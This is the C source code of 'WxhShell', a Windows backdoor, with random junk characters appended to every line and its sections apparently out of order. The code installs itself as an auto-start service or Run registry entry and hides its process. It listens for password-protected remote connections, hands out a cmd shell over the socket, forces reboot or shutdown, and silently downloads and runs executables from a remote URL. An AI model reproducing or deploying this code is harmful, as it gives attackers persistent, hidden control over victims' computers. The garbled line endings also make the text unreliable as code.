    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o>oZh1/\T,  
    if(Boot(SHUTDOWN)) .aE%z/@s=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >TddKR @C  
    else { Fa A7m  
    closesocket(wsh); GN ?1dwI  
    ExitThread(0); qwDoYy yu  
    } 62{[)jt{  
    break; ?%RR+(2m  
    } ~.f[K{h8  
  // 获取shell Q2K)Nl >_  
  case 's': { 31n|ScXv  
    CmdShell(wsh); eKek~U&  
    closesocket(wsh); "i/3m'<2  
    ExitThread(0); s&~.";b  
    break; d&5GkD.P  
  } B)L;ja  
  // 退出 \|q.M0  
  case 'x': { W5a>6u=g,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TM?7F2  
    CloseIt(wsh); E?3$ *t  
    break; TM1J1GU  
    } P'q . _U  
  // 离开 `8N],X  
  case 'q': { <|_b:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :z}  
    closesocket(wsh); M}W};~V2ng  
    WSACleanup(); tx{tIw^2;  
    exit(1); i=8){G X4  
    break; V0'_PR@;  
        } &yQM 8J~  
  } I0]"o#Lj T  
  } }c-tvK1g  
]6 vqgu  
  // 提示信息 Lmw{ `R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \~`qE<Q/  
} 0&|,HK  
  } "J (.dg]"  
*) ?Fo  
  return; ?5#=Mh#  
} 7+^4v(s  
b1`(f"&l  
// shell模块句柄 4<QS ot  
int CmdShell(SOCKET sock) lg!{?xM  
{ Pw_[{LL  
STARTUPINFO si; O`W&`B(*k  
ZeroMemory(&si,sizeof(si)); j2"Y{6c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b(McH*_8e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zPT!Fa`  
PROCESS_INFORMATION ProcessInfo; %xWscA%^u  
char cmdline[]="cmd"; mQ]wLPP{1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L?( % *  
  return 0; k 1   
} IfGQeynj  
.+TriPL  
// 自身启动模式 9QryW\6.@z  
int StartFromService(void) 'L0{Ed+9  
{ Z/@%MEU[zl  
typedef struct (" +/ :  
{ C6`<SW  
  DWORD ExitStatus; $k&}{c8P  
  DWORD PebBaseAddress; l TJqWSV=f  
  DWORD AffinityMask; VT&R1)c  
  DWORD BasePriority; h f1f  
  ULONG UniqueProcessId; n\Y|0\ B  
  ULONG InheritedFromUniqueProcessId; %7oB[2  
}   PROCESS_BASIC_INFORMATION; $@blP<I  
2o5v{W  
PROCNTQSIP NtQueryInformationProcess; uKZe"wN;  
#Ua+P(1q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,lly=OhKb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %wp#vO-$  
#815h,nP+  
  HANDLE             hProcess; @|^2 +K/  
  PROCESS_BASIC_INFORMATION pbi; \Ow-o0  
bUp ,vc*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?>p<!:E!r  
  if(NULL == hInst ) return 0; 2W=( {e)$  
6:Nz=sw8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cn4C K. ?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G;%Pf9 o26  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6T_Mk0Sf+  
buhn~ c  
  if (!NtQueryInformationProcess) return 0; g(0 |p6R  
$LF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bjz\L0d  
  if(!hProcess) return 0; s2@}01QPo  
_~`\TS8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]<;m;/ H  
Svmyg]  
  CloseHandle(hProcess); b:}`O!UBw  
ZTx~+'(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  Y@S?0  
if(hProcess==NULL) return 0; /WVnyz0  
|WB<yA1  
HMODULE hMod; MKdBqnM(F  
char procName[255]; g& *pk5V>  
unsigned long cbNeeded; X]Emz"   
3?vasL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QJ ueU%|  
<~}t;ji  
  CloseHandle(hProcess); qG/a5i  
7FVu [Qu  
if(strstr(procName,"services")) return 1; // 以服务启动 ^#R-_I  
n NI V(  
  return 0; // 注册表启动 _ID2yJ   
} Oifu ?f<r  
X"W%(x`w  
// 主模块 q($lL~Ls  
int StartWxhshell(LPSTR lpCmdLine) JqO#W1h~R|  
{ TIV1?S  
  SOCKET wsl; PZF>ia}  
BOOL val=TRUE; d{f3R8~Q.  
  int port=0; <)zh2UI  
  struct sockaddr_in door; B(mxW8y  
EO,;^RtB  
  if(wscfg.ws_autoins) Install(); FG~p _[K  
6$>m s6g%  
port=atoi(lpCmdLine); N1KYV&'o  
SPIYB/C  
if(port<=0) port=wscfg.ws_port; <=V2~ asB  
KLXv?4!  
  WSADATA data; l{4=La{?j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^)b*"o  
buRXzSR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )Xa`LG =|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /c`)Er 6d  
  door.sin_family = AF_INET; Y]b5qguK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OxqbHe  
  door.sin_port = htons(port); :YB:)wV,P  
ML0o :8Bd\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Etj*3/n|  
closesocket(wsl); A^JeB<, 5a  
return 1; <>f  
} M%:ACLYP  
' %OQd?MhL  
  if(listen(wsl,2) == INVALID_SOCKET) { LS?hb)7  
closesocket(wsl); `"M=ZVk  
return 1; A==P?,RG  
} >#R<*?*D}  
  Wxhshell(wsl); ~\K+)(\SNp  
  WSACleanup(); "gdm RE{x  
J W&/l  
return 0; >.PLD} zE_  
Q/iaxY#  
} mqk~Pno|<  
b^PYA_k-Xn  
// 以NT服务方式启动 uj&^W[s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y.@ vdW  
{ 7I`e5\ u  
DWORD   status = 0; q+t*3;X.  
  DWORD   specificError = 0xfffffff; fk P@e3  
`6!l!8 v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [S":~3^B6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >E?626*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W)V"QrFK  
  serviceStatus.dwWin32ExitCode     = 0; [Y*p I&f  
  serviceStatus.dwServiceSpecificExitCode = 0; Iq_cs '  
  serviceStatus.dwCheckPoint       = 0; $dci?7q  
  serviceStatus.dwWaitHint       = 0; !:`QX\Ux  
J']1^"_'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &oYX093di  
  if (hServiceStatusHandle==0) return; /g'F+{v  
0<Px 2/  
status = GetLastError(); @g""*T1:$  
  if (status!=NO_ERROR) Gy 'l;2  
{ 1c,$D5#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,a< !d  
    serviceStatus.dwCheckPoint       = 0; 8:-[wl/@  
    serviceStatus.dwWaitHint       = 0; J}KATpHs  
    serviceStatus.dwWin32ExitCode     = status; @y9_\mX!s  
    serviceStatus.dwServiceSpecificExitCode = specificError; E<'3?(D9hL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /l0\SVwa>  
    return; a)4.[+wnRf  
  } bWwc2##7jo  
i+jSXn"_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2#ha Icm"  
  serviceStatus.dwCheckPoint       = 0; rayC1#f  
  serviceStatus.dwWaitHint       = 0; pF#nj`L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '(kGc%  
} >mT2g  
>!wX% QHH  
// 处理NT服务事件,比如:启动、停止 &K)c*' l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3yDa5q{  
{ [1dlV/  
switch(fdwControl) RMmDcvM"k  
{ # o)a`,f  
case SERVICE_CONTROL_STOP: [Pby  d  
  serviceStatus.dwWin32ExitCode = 0; pb}QP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e!ar:>T  
  serviceStatus.dwCheckPoint   = 0; !u~( \ Rb;  
  serviceStatus.dwWaitHint     = 0; Yc/rjEn7O  
  { #G|iEC0C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <y\>[7Y  
  } L$l'wz  
  return; lEAN Nu  
case SERVICE_CONTROL_PAUSE: WWc{]R^D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4iRcmsP  
  break; A/W0O;*q  
case SERVICE_CONTROL_CONTINUE: ;->(hFJt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5sEq`P}5  
  break; %gJf&A  
case SERVICE_CONTROL_INTERROGATE: zm9>"(H  
  break; |9jeOV}/  
}; nv*q N\i'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QW|,_u5j  
} vEvVT]g[V  
l^%Ez?-:s  
// 标准应用程序主函数 /'u-Fr(Q+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W'-B)li   
{ SI*O#K=w  
<E|i3\[p  
// 获取操作系统版本 :o&qJ%  
OsIsNt=GetOsVer(); GG5wiN*2S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #<S+E7uTs  
 4EJ  
  // 从命令行安装 nxKV7d@R  
  if(strpbrk(lpCmdLine,"iI")) Install(); cMsm[D{b  
=" #O1$  
  // 下载执行文件 V"#ie Y n  
if(wscfg.ws_downexe) { ),mKEpf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g599Lc&  
  WinExec(wscfg.ws_filenam,SW_HIDE); vkOCyi?c  
} #Fl "#g$  
H@qA X  
if(!OsIsNt) { b/Z=FS2T  
// 如果时win9x,隐藏进程并且设置为注册表启动 =m:xf&r#  
HideProc(); B5~S&HQ?B6  
StartWxhshell(lpCmdLine); 0ym>Hbax)  
} tz)aQ6p\X  
else R^<li;Km  
  if(StartFromService()) CbVUz<  
  // 以服务方式启动 ow!utAF  
  StartServiceCtrlDispatcher(DispatchTable); xJa  
else -[|R \'i  
  // 普通方式启动 Nj5Mc>_   
  StartWxhshell(lpCmdLine); y>3Zh5=  
3u^U\xB  
return 0; Jv %, v?  
} \ty{KAc&  
b<P9@h~:  
0WaC.C+2i  
B?`Gs^Y {z  
=========================================== O[U^{~iM  
75u/'0~5  
mQhI"3! f  
6.ASLH3#  
casva;  
U}~SY  
" z8G1[ElY  
}KEyJj3"DA  
#include <stdio.h> b lP@Cn2  
#include <string.h> k(pI5N}pJZ  
#include <windows.h> /X~l%Xm  
#include <winsock2.h> {~_X-g5|]  
#include <winsvc.h> >k"Z'9l  
#include <urlmon.h> y4PR&^l?g  
'c*Q/C;  
#pragma comment (lib, "Ws2_32.lib") OS;qb:;  
#pragma comment (lib, "urlmon.lib") _HW~sz|  
!}<d6&!py  
#define MAX_USER   100 // 最大客户端连接数 S}f 3b N  
#define BUF_SOCK   200 // sock buffer rG|lRT3-K  
#define KEY_BUFF   255 // 输入 buffer rkugV&BhV  
)y4bb^;z  
#define REBOOT     0   // 重启 9E5Ec~l  
#define SHUTDOWN   1   // 关机 3gV 17a  
wmAZ {  
#define DEF_PORT   5000 // 监听端口  $A]2Iw!&  
18f!k  
#define REG_LEN     16   // 注册表键长度 l\xcR]O  
#define SVC_LEN     80   // NT服务名长度 D1rXTI$$  
;gLHSHEA  
// 从dll定义API zP$0B!9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IL;JdIa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kU{+@MA;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j*+[=X/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tw *:Vw  
mSF>~D1_  
// wxhshell配置信息 VW:WB.K$  
struct WSCFG { 0tyoH3o/d  
  int ws_port;         // 监听端口 z SDRZ!  
  char ws_passstr[REG_LEN]; // 口令 v._Q XcE  
  int ws_autoins;       // 安装标记, 1=yes 0=no e&sZ]{uD  
  char ws_regname[REG_LEN]; // 注册表键名 :,Z'/e0&  
  char ws_svcname[REG_LEN]; // 服务名 r6S-G{o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XVr>\T4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q#w mS&$f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &YC Z L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *(wkgn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" > Dy<@e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ix4O-o{  
#JMww  
};  kDbDG,O  
m}ZkNWH  
// default Wxhshell configuration +a1Or  
struct WSCFG wscfg={DEF_PORT, H3\4&q  
    "xuhuanlingzhe", nwuH:6~"  
    1, eB%hP9=:x  
    "Wxhshell", )r2$!(NQ  
    "Wxhshell", 8T<LNC  
            "WxhShell Service", HYU-F_|N=  
    "Wrsky Windows CmdShell Service", uq?((  
    "Please Input Your Password: ", (mbC! !>  
  1, UdO(9Jc5^  
  "http://www.wrsky.com/wxhshell.exe", 9<0TF+}>  
  "Wxhshell.exe" e.-+zkQ8EI  
    }; eajctkzj  
" kp+1sG8  
// 消息定义模块 NZT2ni4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i!0w? /g9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vd<r}3i*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "#}Uh  
char *msg_ws_ext="\n\rExit."; 2L!s'^m-  
char *msg_ws_end="\n\rQuit."; <"/b 5kc  
char *msg_ws_boot="\n\rReboot..."; cPaz-  
char *msg_ws_poff="\n\rShutdown..."; MpY/G%3  
char *msg_ws_down="\n\rSave to "; B|9[DNd  
W5i{W'  
char *msg_ws_err="\n\rErr!"; p>M8:,  
char *msg_ws_ok="\n\rOK!"; )M3} 6^s]  
+vf~s^  
char ExeFile[MAX_PATH]; ;OC~,?O5  
int nUser = 0; oZ]^zzoEcg  
HANDLE handles[MAX_USER]; v7-z<'?s~  
int OsIsNt; $-^ ;Jl  
A-"2sp*t  
SERVICE_STATUS       serviceStatus; VT ikLuH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;]gj:6M  
+az=EF  
// 函数声明 9 +1}8"~  
int Install(void); #*;G8yV  
int Uninstall(void); EBQ,Ypv  
int DownloadFile(char *sURL, SOCKET wsh); aI.5w9  
int Boot(int flag); Z7]["  
void HideProc(void); UP<B>Y1a  
int GetOsVer(void); \7V[G6'{  
int Wxhshell(SOCKET wsl); Sb QM!Q  
void TalkWithClient(void *cs); RnV#[bM{  
int CmdShell(SOCKET sock); MZIZ"b  
int StartFromService(void); #(pY~\  
int StartWxhshell(LPSTR lpCmdLine); ATRB9  
wWYo\WH'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gh9Gc1tKt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pzt 5'O@dA  
\9t/*%:  
// 数据结构和表定义 C>NLZM T  
SERVICE_TABLE_ENTRY DispatchTable[] = F)8M9%g5m  
{ shk yN  
{wscfg.ws_svcname, NTServiceMain}, g9~QNA  
{NULL, NULL} wXR7Ifrv  
}; "udA-;!@&  
t,w'w_C  
// 自我安装 '@6O3z_{  
int Install(void) S =5br  
{ 3g79/ w  
  char svExeFile[MAX_PATH]; m=[3"X3W1V  
  HKEY key; "J(T?|t  
  strcpy(svExeFile,ExeFile); _^ZBSx09)  
5ho!}K  
// 如果是win9x系统,修改注册表设为自启动 c)`=wDi  
if(!OsIsNt) { ,7:? Du}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ee2k..Tq#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \+Nn>wW.  
  RegCloseKey(key); BbIg]E/G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `; +UWdAR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "?AJ(>wP  
  RegCloseKey(key); 4s@oj  
  return 0; <`)vp0  
    } r}S>t~p:  
  } j^5VmG  
} byJR6f  
else { mYx6JU*`  
b[U;P=;=  
// 如果是NT以上系统,安装为系统服务 B;64(Vsa8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2}uSrA7n]  
if (schSCManager!=0) vJ?j#Ch  
{ r91b]m3xL  
  SC_HANDLE schService = CreateService [gaB}aLn  
  ( j&-<e7O=  
  schSCManager, )NLjv=ql  
  wscfg.ws_svcname, P. Kfoos  
  wscfg.ws_svcdisp, bZ SaL^^(  
  SERVICE_ALL_ACCESS, ugV/#v O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o}b_`O  
  SERVICE_AUTO_START, WSxE/C|[  
  SERVICE_ERROR_NORMAL, 6s.>5}M!  
  svExeFile, 9,jFQb(),  
  NULL, ^aI$97Li  
  NULL, 45 B |U  
  NULL, itmFZZh  
  NULL, wiP )"g.t  
  NULL "'3QKeM1  
  ); c#zx" ,K  
  if (schService!=0) QTIC5cl,  
  { !d Z:Ih.[{  
  CloseServiceHandle(schService); [R0E4A?M  
  CloseServiceHandle(schSCManager); <4:%M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O77^.B  
  strcat(svExeFile,wscfg.ws_svcname); K+<F, P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i%GNm D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yPoa04!{=  
  RegCloseKey(key); e_+SBN1`P&  
  return 0; ' OXL'_Xl  
    } sl_f+h0  
  } TcpaZ 'x  
  CloseServiceHandle(schSCManager); G`r/ tesW  
} K''2Jfm  
}  yJGnN g  
"Z]z9(  
return 1; @5j3[e  
} #_kV o3  
'/F%  ff  
// 自我卸载 z P8rW5/  
int Uninstall(void) q uL+UFuM  
{ 7r{159&=  
  HKEY key; |wM<n  
6<o2 0(?  
if(!OsIsNt) { 8}Cp(z2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AhU   
  RegDeleteValue(key,wscfg.ws_regname); CHckmCgf4  
  RegCloseKey(key); "IJ 9vXI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tjJi|  
  RegDeleteValue(key,wscfg.ws_regname); av"dJm  
  RegCloseKey(key); |t6:4']  
  return 0; z7!@^!r  
  } Gt$PBlq0  
} L2IY$+=M  
} p5Wz.n.<'  
else { b *Ca*!  
|xFSGrC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }qg.Go  
if (schSCManager!=0) J'C%  
{ #k t+ )>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =JE5/  
  if (schService!=0) dO!B=/  
  { Zvkb=  
  if(DeleteService(schService)!=0) { !@T5](zV  
  CloseServiceHandle(schService); LMaY}m>  
  CloseServiceHandle(schSCManager); :Izdj*HL;A  
  return 0; GhR%fxe  
  } AP9>_0=  
  CloseServiceHandle(schService); 1T 8|>2m 3  
  } " +A8w  
  CloseServiceHandle(schSCManager); om{aws;  
} o&RNpP*  
} A5^tus/y  
E*s8 nQ"  
return 1; -eFq^KP2  
} ebiOR1)sN  
R6`,}<A]@  
// 从指定url下载文件 4tlLh`-8  
int DownloadFile(char *sURL, SOCKET wsh) yk/BQ|G  
{ &%;K_asV;  
  HRESULT hr; YSr u5Q  
char seps[]= "/"; $ S]l%  
char *token; Ap!Y 3C  
char *file; qS[KB\RN1  
char myURL[MAX_PATH]; ZjveXrx  
char myFILE[MAX_PATH]; q|QkJr <  
J3y4 D}  
strcpy(myURL,sURL); <_#a%+5d  
  token=strtok(myURL,seps); }CQ)W1mO"  
  while(token!=NULL) .$zo_~ mR  
  { &+")~2 +  
    file=token; 5OC{_-  
  token=strtok(NULL,seps); Cznp(z  
  } }3=^Ik;x  
1q/Q@O  
GetCurrentDirectory(MAX_PATH,myFILE); )#v0.pE  
strcat(myFILE, "\\"); A Eo  
strcat(myFILE, file);  %Krf,H  
  send(wsh,myFILE,strlen(myFILE),0); ^q\9HBHT  
send(wsh,"...",3,0); K?6#jT6#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]O0:0Z\  
  if(hr==S_OK) @i(;}rx  
return 0; kqZ+e/o>O9  
else ~IQw?a.E  
return 1; ZDr&Alp)o  
K9c5HuGy  
} bj_oA i  
.-}F~FES  
// 系统电源模块 QygbfW6u  
int Boot(int flag) +K:hetv  
{ 'Omj-o'tn9  
  HANDLE hToken; ~#|Pe1Y  
  TOKEN_PRIVILEGES tkp; f5,!,]XO  
sh;>6xB  
  if(OsIsNt) { `|e3OCU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %<h+_(\h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I5#zo,9  
    tkp.PrivilegeCount = 1; NU%<Ws=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hIFfvUl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 94xWMX2  
if(flag==REBOOT) { ]SG(YrF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `:kI@TPI_C  
  return 0; HB9|AQ4K  
} ~JTp8E9kw  
else { l [ Navw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /EV _Y|(-  
  return 0; O_^;wey0}?  
} cc:,,T /i  
  } wg=-&-  
  else { b|nh4g  
if(flag==REBOOT) { Mcqym8,q|3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :NXM.@jJ="  
  return 0; ,_I#+XiXY  
} i7foZ\btFc  
else { 2Z7r ZjXW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T*qSk!  
  return 0; BL H~`N3U  
} wD5fm5r=  
} h5}:>yc  
tQ Ia6c4|  
return 1; h.)o4(bO  
} Y(6p&I  
~ }?*v}  
// win9x进程隐藏模块 X^)v ZL?  
void HideProc(void) qORRpWyx&  
{ Mc<O ~  
ObSRd$M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aLO'.5 ~^  
  if ( hKernel != NULL ) 8Lr&-w8J  
  { UOcO\EA+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o>o! -uf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >rid3~  
    FreeLibrary(hKernel); ?VR:e7|tU  
  } 4x2,X`pe3  
VTJxVYE  
return; Q$8K-5U%  
} hv#|dI=kZR  
HB, k}Q  
// 获取操作系统版本 YOQ>A*@4  
int GetOsVer(void) s> JWNP  
{ O^KIB%}fu  
  OSVERSIONINFO winfo; ?k+>~k{}a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s}bv o  
  GetVersionEx(&winfo); ,O`~ D~$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nP#|JRn=  
  return 1; >WmT M0  
  else 8 EUc 6  
  return 0; Mh8s@g  
} k.!m-5E  
`,$PRN"]  
// 客户端句柄模块 }$Z0v`  
int Wxhshell(SOCKET wsl) h+j{;evN  
{ dQJ)0!B  
  SOCKET wsh; `!@d$*:'  
  struct sockaddr_in client;  r0,XR  
  DWORD myID; cc{^0JT  
1 i/&t[  
  while(nUser<MAX_USER) Lb}$)AcC  
{ GDY=^r  
  int nSize=sizeof(client);  $M|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /<Yz;\:Jy  
  if(wsh==INVALID_SOCKET) return 1; NM4b]>   
+AYB0`X)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5LzP0F U  
if(handles[nUser]==0) aM|;3j1p  
  closesocket(wsh); +\U#:gmw  
else Z!2%{HQ=q  
  nUser++; H& !?c5  
  } =pd#U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  giORc  
-^$`5Rk  
  return 0; Sd+bnq%  
} ^]X\boWlI  
'?uwUBi  
// 关闭 socket q.!<GqSgb  
void CloseIt(SOCKET wsh) |H ,-V;  
{ ph>0?Z =bn  
closesocket(wsh); !z2KQ 4C  
nUser--; +jb<=ERV[  
ExitThread(0); &9F(C R  
} _m*FHi  
A8T8+M:  
// 客户端请求句柄 K(}g!iT)~  
void TalkWithClient(void *cs) )6*)u/x:  
{ b E6bx6=u  
'J_`CS  
  SOCKET wsh=(SOCKET)cs; $d5}OI"g  
  char pwd[SVC_LEN]; wf2v9.;X:<  
  char cmd[KEY_BUFF]; &NH[b1NMr  
char chr[1]; u#nM_UJe  
int i,j; uUJH^pW  
/Suh&qw>  
  while (nUser < MAX_USER) { nR8r$2B+t  
,vB~9^~  
if(wscfg.ws_passstr) { x};sti R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $3]]<oH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SGP)A(,k9  
  //ZeroMemory(pwd,KEY_BUFF); 8:fq!m  
      i=0; U# U*^#  
  while(i<SVC_LEN) { `l0"4 [?  
U?=-V8#M|  
  // 设置超时 ;VS$xnZ  
  fd_set FdRead; +d=w%r)  
  struct timeval TimeOut; [Zne19/  
  FD_ZERO(&FdRead); =XFyEt  
  FD_SET(wsh,&FdRead); :%>TM/E N  
  TimeOut.tv_sec=8; d8.A8<wUr  
  TimeOut.tv_usec=0; ~PyZh5x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7f>~P_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '+v[z=.8]  
_B7+n"t\r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "=,IbC  
  pwd=chr[0]; kK/( [!  
  if(chr[0]==0xd || chr[0]==0xa) { dO4J f9)  
  pwd=0; p(. z#o#  
  break; I R~szUY6  
  } QC6:ZxP  
  i++; L\xR<m<,  
    } w5;d/r<q  
p|Qn?^C:  
  // 如果是非法用户,关闭 socket ?H!QV;ku  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e[Jh7r>'  
} Y3O/`-9i  
rw.DKM'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rIeOli:<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LC})aV|  
|p`}vRv Uh  
while(1) { [Gc9 3PA7q  
ZoR6f\2M  
  ZeroMemory(cmd,KEY_BUFF); { t@7r  
6[Wv g  
      // 自动支持客户端 telnet标准   DLO2$d  
  j=0; Ie(M9QMp  
  while(j<KEY_BUFF) { cC]lO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rA /T>ZM  
  cmd[j]=chr[0]; eFC~&L;  
  if(chr[0]==0xa || chr[0]==0xd) { a+<{!+3v  
  cmd[j]=0; sp6A* mwl  
  break; EbnV"]1  
  } <=]:ED $V@  
  j++; )yUSuK(Vu  
    } 95sK;`rE+  
3|BB#;  
  // 下载文件 xM?tdQ~VHY  
  if(strstr(cmd,"http://")) { 6 -BC/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^#]eCXv  
  if(DownloadFile(cmd,wsh)) MH/bJtNq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (} wMU]!_  
  else X*t2h3 "}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y%^qt]u.8  
  } }pKKNZ`[  
  else { R%6KxN)+@  
GHpP *x  
    switch(cmd[0]) { ]v#T9QQN  
  Bo0f`EC I  
